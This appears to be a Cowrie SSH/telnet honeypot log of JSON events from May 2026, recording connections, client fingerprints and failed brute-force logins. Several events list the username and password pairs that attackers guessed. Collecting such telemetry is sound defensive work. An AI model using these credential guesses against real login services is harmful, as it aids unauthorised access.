{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:46.846164Z","src_ip":"103.98.149.87","session":"024c0d7ffb5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kikiki","message":"login attempt [root/kikiki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:48.091391Z","src_ip":"103.98.149.87","session":"024c0d7ffb5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:49.495213Z","src_ip":"103.98.149.87","session":"024c0d7ffb5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.05773162841797,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:56.819071Z","src_ip":"69.4.83.194","session":"183b501866a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.894652128219604,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:57.557851Z","src_ip":"178.128.93.180","session":"53494cf34c55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":46222,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea26f5e05e33","protocol":"ssh","message":"New connection: 101.47.156.21:46222 (10.17.0.5:22) [session: ea26f5e05e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:04.711154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:04.717838Z","src_ip":"101.47.156.21","session":"ea26f5e05e33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:04.970337Z","src_ip":"101.47.156.21","session":"ea26f5e05e33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ripple","password":"ripple","message":"login attempt [ripple/ripple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:05.958424Z","src_ip":"101.47.156.21","session":"ea26f5e05e33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:07.201313Z","src_ip":"101.47.156.21","session":"ea26f5e05e33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51182,"dst_ip":"159.203.135.109","dst_port":23,"session":"51e5b614d70a","protocol":"telnet","message":"New connection: 69.4.83.194:51182 (159.203.135.109:23) [session: 51e5b614d70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:16.772386Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":52978,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bd5c2c0de96","protocol":"ssh","message":"New connection: 88.147.30.59:52978 (10.17.0.5:22) [session: 0bd5c2c0de96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:22.860868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:22.865381Z","src_ip":"88.147.30.59","session":"0bd5c2c0de96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:22.979421Z","src_ip":"88.147.30.59","session":"0bd5c2c0de96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q@W#E$R","message":"login attempt [root/1q@W#E$R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:23.454033Z","src_ip":"88.147.30.59","session":"0bd5c2c0de96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:24.568811Z","src_ip":"88.147.30.59","session":"0bd5c2c0de96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34118,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc8b79827348","protocol":"ssh","message":"New connection: 103.27.238.116:34118 (10.17.0.5:22) [session: fc8b79827348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:44.500224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:44.505073Z","src_ip":"103.27.238.116","session":"fc8b79827348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":48364,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b9942a83b92","protocol":"ssh","message":"New connection: 103.27.238.120:48364 (10.17.0.5:22) [session: 0b9942a83b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:44.646516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:44.650908Z","src_ip":"103.27.238.120","session":"0b9942a83b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":58276,"dst_ip":"10.17.0.5","dst_port":22,"session":"0473fa001623","protocol":"ssh","message":"New connection: 182.191.77.164:58276 (10.17.0.5:22) [session: 0473fa001623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:44.668684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:44.673398Z","src_ip":"182.191.77.164","session":"0473fa001623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:44.790729Z","src_ip":"103.27.238.116","session":"fc8b79827348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:44.898704Z","src_ip":"182.191.77.164","session":"0473fa001623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:44.918456Z","src_ip":"103.27.238.120","session":"0b9942a83b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14785","message":"login attempt [root/14785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:45.637233Z","src_ip":"103.27.238.116","session":"fc8b79827348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anastas","message":"login attempt [root/anastas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:45.723249Z","src_ip":"103.27.238.120","session":"0b9942a83b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:45.823950Z","src_ip":"182.191.77.164","session":"0473fa001623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:46.921198Z","src_ip":"103.27.238.116","session":"fc8b79827348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:46.994068Z","src_ip":"103.27.238.120","session":"0b9942a83b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:47.052916Z","src_ip":"182.191.77.164","session":"0473fa001623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":44652,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd4455e3f3e6","protocol":"telnet","message":"New connection: 79.139.59.21:44652 (159.203.135.109:23) [session: dd4455e3f3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:47.137789Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":39928,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f1f38ed7715","protocol":"ssh","message":"New connection: 103.25.47.94:39928 (159.203.135.109:22) [session: 0f1f38ed7715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:50.100122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:50.104612Z","src_ip":"103.25.47.94","session":"0f1f38ed7715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:50.353263Z","src_ip":"103.25.47.94","session":"0f1f38ed7715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.56149435043335,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:51.333753Z","src_ip":"69.4.83.194","session":"51e5b614d70a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"singh","password":"singh123","message":"login attempt [singh/singh123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:51.382030Z","src_ip":"103.25.47.94","session":"0f1f38ed7715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:52:52.634082Z","src_ip":"103.25.47.94","session":"0f1f38ed7715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":39320,"dst_ip":"159.203.135.109","dst_port":23,"session":"582d30e9224c","protocol":"telnet","message":"New connection: 69.4.83.194:39320 (159.203.135.109:23) [session: 582d30e9224c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:00.860762Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":46932,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a1f309b004","protocol":"ssh","message":"New connection: 123.58.209.58:46932 (159.203.135.109:22) [session: 58a1f309b004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:05.943699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:05.949164Z","src_ip":"123.58.209.58","session":"58a1f309b004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:06.163076Z","src_ip":"123.58.209.58","session":"58a1f309b004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40526,"dst_ip":"159.203.135.109","dst_port":23,"session":"38935d7d3f1a","protocol":"telnet","message":"New connection: 69.4.83.194:40526 (159.203.135.109:23) [session: 38935d7d3f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:07.057235Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcde12345","message":"login attempt [root/Abcde12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:07.084918Z","src_ip":"123.58.209.58","session":"58a1f309b004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":55516,"dst_ip":"10.17.0.5","dst_port":22,"session":"119d0965d942","protocol":"ssh","message":"New connection: 20.160.86.7:55516 (10.17.0.5:22) [session: 119d0965d942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:07.286571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:53:07.292785Z","src_ip":"20.160.86.7","session":"119d0965d942","protocol":"ssh"}
